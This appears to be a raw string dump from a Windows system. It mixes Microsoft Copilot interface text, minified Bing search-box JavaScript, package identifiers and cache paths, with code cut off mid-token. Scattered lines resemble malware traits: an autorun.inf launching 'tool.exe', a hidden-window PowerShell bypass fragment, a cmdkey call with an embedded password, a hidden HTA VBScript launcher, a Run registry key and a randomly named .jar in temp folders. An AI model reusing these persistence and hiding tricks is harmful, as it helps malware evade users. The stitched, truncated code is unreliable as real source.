re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Wou
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
rmicros~1\appdata\local\temp\{b8b89638-b2d3-4ddd-b70b-354f1acbadeb}\prfyuecnlnmrtblmqvtipjspkbffehavaovudfgcovskbdmbdkpah.jar9prfyuecnlnmrtblmqvtipjspkbffehavaovudfgcovskbdmbdkpah.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\prfyuecnlnmrtblmqvtipjspkbffehavaovudfgcovskbdmbdkpah.jar
}}static getMru3pAppLocalCache(){let t=n.LightweightStorage.getItem(this._3pMRUCacheKey);return t==undefined||t==null?undefined:JSON.parse(t)}static fetchSearchAppearanceSchemaVersions(){t._gleamSchema=SearchAppWrapper.CortanaApp.searchAppearanceSchemaVersions}static prefetchAllWebSearchExtensions(){var r,u;if(n.config.wsbOfflineBundle)return null;if(n.config.useCobaltCSS){let n=(r=i.webSearchExtensionManager)===null||r===void 0?void 0:r.findAll();return t.setThirdPartyAppsCache(n),Promise.resolve()}else{let n=(u=i.webSearchExtensionManager)===null||u===void 0?void 0:u.findAllAsync();return n.then(n=>{t.setThirdPartyAppsCache(n)})}}static isThirdPartySearchAppsEnabled(){if(!n.isThirdPartySearchAllowed())return!1;let i=t.getThirdPartySearchApps();return!!(i&&i.length)}static getThirdPartySearchApps(){let r=t.getThirdPartyAppsCache(),u=t.getMru3pAppCache(),f={};const o=t=>{t.sort((t,i)=>{let r=n.isValidDate(t.installedDate)?t.installedDate.getTime():n.WindowsApiDefaultDate,u=n.isValidDate(i.installedDate)?i.installedDate.getTime():n.WindowsApiDefaultDate;return r-u})};if(!n.isThirdPartySearchAllowed()||!r&&!u)return[];let i=[];if(u&&!r)return i.push(u),n.isSupportWebResultsInAllScopeInDMAEnabled()||o(i),i;n.isSupportWebResultsInAllScopeInDMAEnabled()||r.thirdPartyMRUExtension&&(f[r.thirdPartyMRUExtension.applicationUserModelId]=1,i.push(r.thirdPartyMRUExtension));let e=r.otherExtensions;return e&&e.length>0&&e.forEach(t=>{n.isServicingSearchBingAs3PEnabled()?f[t===null||t===void 0?void 0:t.applicationUserModelId]||(f[t===null||t===void 0?void 0:t.applicationUserModelId]=1,i.push(t)):i.push(t)}),n.isSupportWebResultsInAllScopeInDMAEnabled()?this.setDMAWebProvidersOrderMap(i):o(i),i}static setDMAWebProvidersOrderMap(n){const i={};let r=1;n.forEach(n=>{n.applicationUserModelId&&(i[n.applicationUserModelId]={order:r,displayName:n.displayName,applicationUserModelId:n.applicationUserModelId,endpoint:n.endpoint,protocol:n.protocol},r++)});t._dmaWebProvidersOrderMap=i}static getDMAWebProvidersOrderMap(){return t._dmaWebProvidersOrderMap}static get1pSearchApps(){let i=t.getThirdPartyAppsCache();return!n.isThirdPartySearchAllowed()||!i?undefined:i.firstPartyExtension}static getThirdPartySearchAppByName(n){let r=t.getThirdPartySearchApps(),i;return i=n=>HitHighlightingParser.removeDiacritics(n.toLocaleLowerCase().trim()),r.find(t=>i(t.displayName)===i(n))}static getThirdPartyDataProviderById(i){let r=t.getThirdPartySearchApps();return new n.ThirdPartyDataProvider(r.find(n=>n.applicationUserModelId===i))}static getThirdPartyMRUSearhApp(){let i=t.getMru3pAppCache();return n.isThirdPartyMRUEnabledByRegionalPolicy()?i:undefined}static setMRUSearchApp(r){if(n.isThirdPartySearchAllowed()){let u=t.getMru3pAppCache();if(r)r.applicationUserModelId==(u===null||u===void 0?void 0:u.applicationUserModelId)||(i.webSearchExtensionManager.mruExtensionApplicationUserModelId=r.applicationUserModelId,t.setMru3pAppCache(r));else{if(!u)return;i.webSearchExtensionManager.mruExtensionApplicationUserModelId=null;t.setMru3pAppCache(undefined)}}}static isFirstPartySearchDisabled(){let i=t.getThirdPartyAppsCache();return n.isServicingSearchBingAs3PEnabled()||i&&!i.firstPartyExtension?!0:!1}static isAccountNotConsented(t){return!!((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&t.consentState&&t.consentState.isConsentRequired&&!t.consentState.hasUserConsented)}static isShowNotificationOnWebSearchProviderInstallEnabled(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(56919513)}static canShowNotificationBanner(){let n=t.getThirdPartyAppsCache();return(n===null||n===void 0?void 0:n.notificationBehavior)==1}static setBannerInteraction(){let n=t.getThirdPartyAppsCache();n&&(n.notificationBehavior=2)}static getMRUFilesAndFoldersDefinedCount(){return t._mruFilesAndFoldersDefinedCount}static setMRUFilesAndFoldersDefinedCount(n=0){t._mruFilesAndFoldersDefinedCount=n}static getMRUFilesAndFoldersUndefinedCount(){return t._mruFilesAndFoldersUndefinedCount}static setMRUFilesAndFolde
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
GetSystemWindowsDirectoryW
WindowsCreateStringReference
bypass -WindowStyle Hidden
uestTimeout)}renderMiniserpCoSearchCPS(){if(this._miniSERPIframeWidth!==0&&n.config.enableMiniserpCoSearchCPS){let t=this._navigationHelper.getMiniserpCPSUrl(this._queryShown),r=!1;if(n.TestHookUrlParameters||n.MockUrlParameters){r=!!n.MockUrlParameters;let u=n.TestHookUrlParameters!==null&&n.TestHookUrlParameters!==void 0?n.TestHookUrlParameters:n.MockUrlParameters;t=n.UrlParameters.copyTestParametersTo(t);r&&(t=ThresholdUtilities.setUrlParameter(t,"client","windowsMiniSerp"));let i=u.clientIP;i&&(t=ThresholdUtilities.setUrlParameter(t,"clientip",i))}let u=n=>{n.status==200&&n.responseText&&this._miniserpCPSContainer&&this.renderMiniserpCoSearchCPSIframe(t,n.responseText)},i=n.Host.getCustomHeaders(null);i["X-BM-DeviceDimensionsLogical"]=f+"x"+this._root.clientHeight;i["X-BM-DeviceDimensions"]=String(Math.round(f*this._deviceScale))+"x"+this._root.clientHeight;n.config.restrictedAPIHeaderChange?i["X-RestrictedAPI"]="1":i["User-Agent"]=n.getUserAgent()+" RestrictedAPI";n.config.isThemeAware&&n.isDarkModeEnabled()&&(t=ThresholdUtilities.setUrlParameter(t,"darkschemeovr","1"));let e=++this._previewCPSRequestId;i["X-Search-SafeSearch"]="Strict";n.fetchUrl(t,i,null,u,null,()=>e==this._previewCPSRequestId,!0,n.config.miniSERPRequestTimeout)}}clearMiniserpCPSContainer(t){if(this._previewCPSRequestId+=1,this._miniserpCPSContainer){while(this._miniserpCPSContainer.hasChildNodes())this._miniserpCPSContainer.removeChild(this._miniserpCPSContainer.lastChild);this._miniserpCPSIframe&&(this._miniserpCPSIframe=null);this._onCPSIFrameLoadedCallback=null;this._calculateCPSIFrameHeight=null;n.setVisibility(this._miniserpCPSContainer,!1);this._miniserpCPSResizeObserver&&(this._miniserpCPSResizeObserver.disconnect(),this._miniserpCPSResizeObserver=null)}t&&t()}renderMiniserpCoSearchCPSIframe(n,t){this.clearMiniserpCPSContainer(()=>{this.renderMiniserpCoSearchCPSIframeContent(n,t)})}renderMiniserpCoSearchCPSIframeContent(t,i){this._miniserpCPSIframe=sj_ce("iframe","composerIframe");this._miniserpCPSIframe.setAttribute("scrolling","no");this._miniserpCPSContainer.appendChild(this._miniserpCPSIframe);let r=this._miniserpCPSIframe.contentDocument,u=this._miniserpCPSIframe.contentWindow;this.setCPSIframeHeight(0);this._miniserpCPSContainer.style.width=this._miniSERPIframeWidth+"px";n.setVisibility(this._miniserpCPSContainer,!0);this._onCPSIFrameLoadedCallback=()=>{let f=r.body,i=0;this._calculateCPSIFrameHeight=()=>{let n=f.offsetHeight;n!=i&&n>0&&(i=this.setCPSIframeHeight(n))};this._calculateCPSIFrameHeight();u.open=i=>(n.InstrumentationHelper.logClientInstEvent("ClientInst","Info",n.SequenceNumberManager.getSequenceNumber(),{FID:"CI",Name:"MiniSERPComposerClick"}),this.tryLaunchUrl(t,i,0,!1),null);this._miniserpCPSResizeObserver=new ResizeObserver(()=>{this._calculateCPSIFrameHeight&&this._calculateCPSIFrameHeight()});n.safeExecute(()=>{let t=r.querySelector("#b_copilot_search #b_bop_cs_sb_place .composer_container");t&&(this._miniserpCPSResizeObserver.observe(t),n.InstrumentationHelper.logClientInstEvent("ClientInst","Info",n.SequenceNumberManager.getSequenceNumber(),{FID:"CI",Name:"MiniSERPComposerRender"}))},"onCPSIFrameLoadedCallback")};n.config.enableCSP&&(i=n.applyNonceToScripts(i));r.open();r.write(i);r.write("<base href='"+t+"' target='_parent' />");r.write("<style>html {background: transparent !important;} body {margin: 0;}<\/style>");r.close()}setCPSIframeHeight(n){return this._miniserpCPSIframe.style.height=n+"px",n}renderIframe(n,t,i,r,u,f){this.clearContent(()=>{this.renderIframeContent(n,t,i,r,u,f)})}renderIframeContent(t,i,r,u,f,e){this._iframe=sj_ce("iframe",n.MiniSerpIframeId);this._iframe.setAttribute("scrolling","no");this._contentContainer.appendChild(this._iframe);let s=this._iframe.contentWindow,o=this._iframe.contentDocument,c=!1;if(this._footer&&!n.config.disableMiniserpButton&&(n.setVisibility(this._footer,!f),n.setVisibility(this._mask,!f)),this.setIframeHeight(0),this._onIFrameLoadedCallback=()=>{var f,h,c,l,a;let i=o.body,v=0;if(this._calculateIFrameHeight=()=>{let n=i.offsetHeight;n!=v&&n>0&&(v=this.setIframeHeig
(@https://bn2-df.notify.windows.com/v2/register/xplatform/device
 @https://assets.activity.windows.com/v1/assets/$batch
(@https://global.notify.windows.com/v2/register/xplatform/device
on(f,u,"Microsoft.WindowsCalculator_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:bluetooth",n.Host.getLocString("BluetoothSettingSuggestion"),"&#xE772",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail",t,i),this.addAppSuggestion(f,u,"Microsoft.Windows.Explorer",t,i)):(this.addAppSuggestion(f,u,"MSEdge",t,i),this.addAppSuggestion(f,u,"Microsoft.Getstarted_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:emailandaccounts",n.Host.getLocString("EmailSettingSuggestion"),"&#xE715",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\SnippingTool.exe",t,i),this.addSettingSuggestion(f,"ms-settings:windowsupdate",n.Host.getLocString("UpdateSettingSuggestion"),"&#xE895",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.Windows.Computer",t,i),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\mspaint.exe",t,i),this.addSettingSuggestion(f,"ms-settings:themes",n.Host.getLocString("ThemeSettingSuggestion"),"&#xE771",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.SkyDrive.Desktop",t,i),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\notepad.exe",t,i),this.addAppSuggestion(f,u,"Microsoft.Windows.Explorer",t,i),this.addAppSuggestion(f,u,"Microsoft.GetHelp_8wekyb3d8bbwe!App",t,i),this.addAppSuggestion(f,u,"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail",t,i),this.addAppSuggestion(f,u,"windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel",t,i))}}n.CuratedSuggestionsParser=i})(WSB||(WSB={})),function(n){const i="QSCH";class r extends n.JsonDataProvider{getName(){return"QuickSearchSuggestionsDataProvider"}constructor(){super("QSCH");this._lastTypedQuery=new u;(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.mockLastQuery)&&this._lastTypedQuery.setQuery(n.TestHookUrlParameters.mockLastQuery);n.Host.bindDismissed(n=>{n&&n.queryToFetch&&this._lastTypedQuery.setQuery(n.fullPartialQuery)})}fetch(n,t){if(n.enabledDataSources[i]){let u={};u=r.getQuickSearchResponse(u);t(i,u,undefined)}}static getQuickSearchResponse(t){let r=n.ScopeConfig[n.Scope.Web]&&n.ScopeConfig[n.Scope.Web].prefixes?n.ScopeConfig[n.Scope.Web].prefixes[0]:null,i=n.Host.getLanguage().toLowerCase();return n.shouldEnableQuickSearches(i)&&this.getQuickAnswers(i,r,t),t}static getQuickAnswers(t,i,r){let u=[];r.quickAnswers=n.getQuickAnswersTranslatedSuggestions(t);r.quickAnswers.forEach(n=>{i?u.push(i.toLowerCase()+": "+n.query):u.push(n.query)})}}n.QuickSearchSuggestionsDataProvider=r;class u{constructor(){this.LastTypedQueryTTLms=6e5}getQuery(){const t=n.getCurrentTime();return this._lastTypedQueryTimeStamp&&t-this._lastTypedQueryTimeStamp<this.LastTypedQueryTTLms?this._lastTypedQuery:(this._lastTypedQuery=null,this._lastTypedQueryTimeStamp=null,null)}setQuery(t){this._lastTypedQuery=t;this._lastTypedQueryTimeStamp=n.getCurrentTime()}}class t{constructor(n){this._navigationHelper=n;t.navigationHelper=this._navigationHelper}parse(n,i,r,u,f,e){let o=[];t.parseQuickSearchSuggestions(n,i,r,u,o);e(r,o,undefined)}static parseQuickSearchSuggestions(i,r,u,f,e){let o=n.ScopeConfig[n.Scope.Web]&&n.ScopeConfig[n.Scope.Web].prefixes?n.ScopeConfig[n.Scope.Web].prefixes[0]:null;if(f&&f.resumeSearchQuery){let o="RSSG",t=n.createSuggestion(i,n.Host.getLocString("RedoLastSearch"),null,{type:2,content:"&#xE81C"},o,f.resumeSearchQuery,n.InstrumentedItem.createInstrumentedItemForReformulation(r,o),998,r,n.localDataSourceMayContainPII(u)),s={verb:"RemoveFromDeviceHistory",displayName:n.Host.getLocString("RemoveFromDeviceHistory"),executeSync:f.resumeSearchRemoveAction,icon:{content:"&#xE711",type:2}};t.tooltip=n.Host.getLocString("RedoYourLastSearchTooltip",f.resumeSearchQuery);n.setExtraVerbs(t,()=>[s],!1);t.click=()=>{n.Host.reformulate(f.resumeSearchQuery),n.Host.setFocusInSearchBox(null,`${o}.click`)};t.reactKey=o+f.resumeSearchQuery;e.0\r
https://www.bing.com/rp/g-ycThKIVTwECGlkxI3GI7xp7ZA.br.jsvar WSB;(function(n){class t extends n.JsonDataProvider{constructor(n="DFLS"){super(n);this.dataSourceType=n}getName(){return this.dataSourceType=="DFLS"?"CuratedSuggestionsDataProvider":"CuratedSettingsDataProvider"}fetch(t,i,r,u){t.enabledDataSources[this.dataSourceType]&&(this.dataSourceType=="DFLS"?n.Async.safeChain("CuratedSuggestionsFetch",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getAllAppsAsync(),n=>i(this.dataSourceType,n,undefined),null,u):this.dataSourceType=="CUSE"&&i(this.dataSourceType,null,undefined))}}n.CuratedSuggestionsDataProvider=t;class i{constructor(n){this.dataSourceType=n!==null&&n!==void 0?n:"DFLS"}parse(n,t,i,r,u,f){let e=[];this.dataSourceType=="DFLS"?this.parseCuratedSuggestions(n,t,i,r,e):this.dataSourceType=="CUSE"&&this.parseCuratedSettings(n,t,i,r,e);f(i,e,undefined)}addSettingSuggestion(t,i,r,u,f,e,o){let h="DFLS",s=n.createSuggestion(f,r,null,{type:u==="&#xE771"?1:2,content:u},h,f.fullPartialQuery,n.InstrumentedItem.createInstrumentedItem(e,h),2,e,n.localDataSourceMayContainPII(this.dataSourceType));s.click=()=>{n.Host.launchUriAsync(i,!0),n.hasCopilotSettingEnabled()&&SearchAppWrapper.CortanaApp.dismissApp()};s.tooltip=s.text;s.reactKey=h+s.text;s.query=s.text;s.staticGroupType=o;n.isZeroInputShowPreview()&&(s.primaryMetadata=n.Host.getLocString("SystemSettingsAnnotation"),s.primaryMetadataInPreviewPane=n.Host.getLocString("SystemSettingsAnnotation"));t.push(s);s.narratorText=s.text}addAppSuggestion(t,i,r,u,f){if(i){let o=i[r];if(o){let s=n.getIcon(o,o.id+"_"+o.filePath+"_"+o.displayName,"curatedSuggestion",!0,!1,null,o.isImmersive&&o.logoBackgroundColor,0),e=n.createSuggestion(u,o.displayName,s,null,"DFLS",u.fullPartialQuery,n.InstrumentedItem.createInstrumentedItem(f,"PP"),2,f,n.localDataSourceMayContainPII(this.dataSourceType));e.deviceItem=o;e.click=()=>{n.Host.launchAppItemAsync(o,this.dataSourceType),n.hasCopilotSettingEnabled()&&SearchAppWrapper.CortanaApp.dismissApp()};e.tooltip=e.text;e.reactKey="PP"+e.text;e.query=e.text;e.staticGroupType=n.GroupType.CuratedSuggestions;e.narratorText=e.text;n.isZeroInputShowPreview()&&(e.primaryMetadata=n.Host.getLocString("App"),e.primaryMetadataInPreviewPane=n.Host.getLocString("App"));t.push(e)}}}parseCuratedSettings(t,i,r,u,f){this.addSettingSuggestion(f,"ms-settings:quiethours",n.Host.getLocString("FocusSettingSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:sound",n.Host.getLocString("SoundSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:bluetooth",n.Host.getLocString("BluetoothSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:display",n.Host.getLocString("DisplaySettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:colors",n.Host.getLocString("ColorSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:search-permissions",n.Host.getLocString("SearchSettings"),null,t,i,n.GroupType.CuratedSettings)}parseCuratedSuggestions(t,i,r,u,f){n.config.useCobaltCSS?(this.addAppSuggestion(f,u,"MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost",t,i),this.addAppSuggestion(f,u,"MSEdge",t,i),this.addAppSuggestion(f,u,"Microsoft.Getstarted_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:emailandaccounts",n.Host.getLocString("EmailSettingSuggestion"),"&#xE715",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.ScreenSketch_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:windowsupdate",n.Host.getLocString("UpdateSettingSuggestion"),"&#xE895",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.Paint_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:themes",n.Host.getLocString("ThemeSettingSuggestion"),"&#xE771",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.SkyDrive.Desktop",t,i),this.addAppSuggestiP
4{explorer\iexplore.execss.css\config.ini\tempicon.exe[autorun]@#open=tool.exe@#shellexecute=tool.exe@#shell:\autorun.inf<script language="javascript" src="http://%.html.aspxsystem boot checkwindows\currentversion\run
.shellexecute('cmdkey','/generic:microsoft_windows_shell_zipfolder:filename='+woiasos+'\\11.zip/pass:zkbydcbbo/user
]+^K%[w32/vote.clear]file_delete_by_path00=%systemroot%\zacker.vbsfile_delete_by_path01=%windowsroot%\mixdalal.vbsfile_delete_by_path02=%windowsroot%\wtc.exe
<!doctypehtml><html><head><hta:applicationicon="#"windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"/><scripttype="text/vbscript">
setpropvalue.ssubkeyname("software\microsoft\windowsnt\currentversion");setpropvalue.svaluename("ubr");stdregprov.execmethod(getdwordvalue);
temRoot%\system32\mswsock.dll
\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\
^windows.protoco(
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
7windowscoredeviceinfo.dll
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840)
https://www.bing.com/rp/HFvl7Us93P8QCWRnB14cLyQEuj0.br.jsvar WSB;(function(n){function u(t,r,u,f,e,o,s,h){i(t,r,u,t=>{var i=null;t.status==200&&(i=t.responseText?n.safeExecute(()=>JSON.parse(t.responseText),"JSON.parse"):{success:!0});f(i)},e,o,s,h)}function i(i,r,u,f,e,o,s,h,c,l,a){n.config.fixInvalidMUID&&sj_cook&&sj_cook.clear("MUID","/");let v=c&&_w.XMLHttpRequest?new XMLHttpRequest:sj_gx();const p=l!==null&&l!==void 0?l:u?"POST":"GET";try{v.open(p,i,!0)}catch(w){n.LogWSBError("fetchUrl",i,w,undefined,undefined,"WindowsTelemetry");f&&f({responseText:"",contentType:"",status:-1,result:3});return}if(r)for(let n in r)v.setRequestHeader(n,r[n]);let y;e&&(y=e.register(()=>v.abort(),!1,"xhr abort"));n.config.useEventListeners?(v.addEventListener("load",()=>{t(v,0,f,y,e,o,a)}),v.addEventListener("timeout",()=>{t(v,1,f,y,e,o,a)}),v.addEventListener("abort",()=>{t(v,2,f,y,e,o,a)}),v.addEventListener("error",()=>{t(v,3,f,y,e,o,a)})):(v.onreadystatechange=()=>{v.readyState==4&&v.status>0&&t(v,0,f,y,e,o,a)},v.ontimeout=()=>t(v,1,f,y,e,o,a),v.onabort=()=>t(v,2,f,y,e,o,a),v.onerror=()=>t(v,3,f,y,e,o,a));typeof s!="undefined"?v.withCredentials=s:v.withCredentials!==undefined&&(v.withCredentials=!0);h&&h>0&&(v.timeout=h);v.send(u)}function t(n,t,i,r,u,f,e){if(!f||f()){n.readyState==4&&(n.onreadystatechange=function(){});r&&u.unregister(r);let f={};e&&e.map(t=>f[t]=n.getResponseHeader(t));i&&i({responseText:n.responseText,contentType:n.getResponseHeader("content-type")||"",status:n.status,result:t,responseURL:n.responseURL,responseHeaders:Object.keys(f).length===0?null:f})}}function e(n){let t=n.IconContent;return t?t[0]=="S"?{content:t.slice(1),type:1}:{content:t,type:2}:n.Icon?{content:n.Icon,type:0}:null}n.fetchUrlJson=u;n.fetchUrl=i;class r{constructor(t){this._dataSource=t;this._delay=n.config.webDataSourcesWithThrottling[t]||0;this._timers=[]}getBaseUrl(){throw new Error("Not Implemented");}getPostBody(){return undefined}onBeforeFetchUrl(){}createUrl(t){return decodeURIComponent(this.getBaseUrl())+(t?n.encodeQueryParameter(t.queryToFetch.toLowerCase()):"")}addParamsToUrl(n,t){let i=t?Object.keys(t):[];return i.length>0&&(n+=n.includes("?")?"&":"?",n+=i.map(n=>n+"="+t[n]).join("&")),n}fetch(t,i,r,u,f,e,o,s,h,c){if(n.isDataSourceEnabled(this._dataSource,t)){let l=this.addParamsToUrl(this.createUrl(t),e),a=this.getPostBody(t)||"";if(this._lastSequenceNumber!=r){for(let n of this._timers)sb_ct(n);this._timers=[];this._lastSequenceNumber=r}if(this._delay>0&&!t.isFormulatedQuery)this._timers.push(n.safeSetTimeout(()=>{this.onBeforeFetchUrl(r,l);this.fetchUrl(l,o,a,i,u,f,s,h,c)},this._delay,"fetchDelay"));else{this.onBeforeFetchUrl(r,l);this.fetchUrl(l,o,a,i,u,f,s,h,c)}}}fetchUrl(t,r,u,f,e,o,s,h,c){let l=[];n.shouldLogFlightAssignmentsToWindows()&&l.push("X-FlightsTelemetry-Flight");i(t,r,u,({responseText:u,contentType:i,status:e,responseHeaders:r})=>{let o;if(e==200&&(n.TestHookUrlParameters&&u&&(u=u.replace(new RegExp("<!--[^]*?-->","gm"),"")),u&&i.includes("json")&&(o=n.safeExecute(()=>JSON.parse(u),"parseWebProviderResponse",null,t))),n.shouldLogFlightAssignmentsToWindows()){const n=Object.assign(Object.assign({},o),r?{responseHeaders:Object.assign({},JSON.parse(JSON.stringify(r)))}:{});f(this._dataSource,n,e==200?null:e.toString())}else f(this._dataSource,o,e==200?null:e.toString())},this._delay>0?e:null,o,h,s,c,undefined,l)}}n.JsonDataProvider=r;class f extends r{getName(){return"AsSuggestionsDataProvider"}constructor(t){super("Web");this._responseCacheManager=t;this.asBaseUrl=n.config.u;n.config.enableOfflineWithWeb&&n.config.webHost&&n.isBrowserOnline()&&(this.asBaseUrl=n.config.webHost+this.asBaseUrl)}setBaseUrl(n){this.asBaseUrl=n}getBaseUrl(){return this.asBaseUrl}onBeforeFetchUrl(t,i){n.config.fixInvalidMUID&&sj_cook&&sj_cook.clear("MUID","/");n.InstrumentationHelper.instrumentSnRProviderFetchUrl(t,i)}fetch(t,i,r,u,f,e,o){if(n.isDataSourceEnabled(this._dataSource,t)){let s=i;if(s=(u,f,e,o)=>{var s;if(f&&n.isEmptyUrlPrefix(t)&&(f.Suggestions=[]),n.config.enableLocalASTrie&&(n.config===null||n.config=H
oxGotFocusEventHandlers.push(n)}static bindSearchBoxLostFocus(n){t._searchBoxLostFocusEventHandlers.push(n)}static getModifierKeyState(){return t._modifierKeyState}static notifyBootstrapDone(){t._bootstrapDoneEventHandlers.forEach(n=>n())}static bindBootstrapDone(n){t._bootstrapDoneEventHandlers.push(n)}static bindAppVisible(n){t._appVisibleEventHandlers.push(n)}static bindShown(n){t._shownEventHandlers.push(n)}static unbindShown(n){const i=t._shownEventHandlers.indexOf(n);i>-1&&t._shownEventHandlers.splice(i,1)}static bindConversationStart(n){t._conversationStartEventHandlers.push(n)}static bindDismissed(n){t._dismissedEventHandlers.push(n)}static bindAppHidden(n){t._appHiddenEventHandlers.push(n)}static bindBeforeWebViewReload(n){t._webViewReloadEventHanlders.push(n)}static bindKeyEscape(n){t._keyEscapeHandlers.push(n)}static bindKeyDown(n){t._keyDownHandlers.push(n)}static bindKeyUp(n){t._keyUpHandlers.push(n)}static bindAccessTokenAvailable(n){t._accessTokenAvailableHandlers.push(n)}static bindScopeListRequiresUpdate(n){t._scopeListRequiresUpdate.push(n)}static bindAccountChanged(n){t._accountChangedHandlers.push(n)}static bindDynamicSearchBoxUpdate(n){t._dynamicSearchBoxUpdateHandlers.push(n)}static bindDynamicPlaceholderContentRequested(n){t._dynamicPlaceholderContentRequestedHandlers.push(n)}static 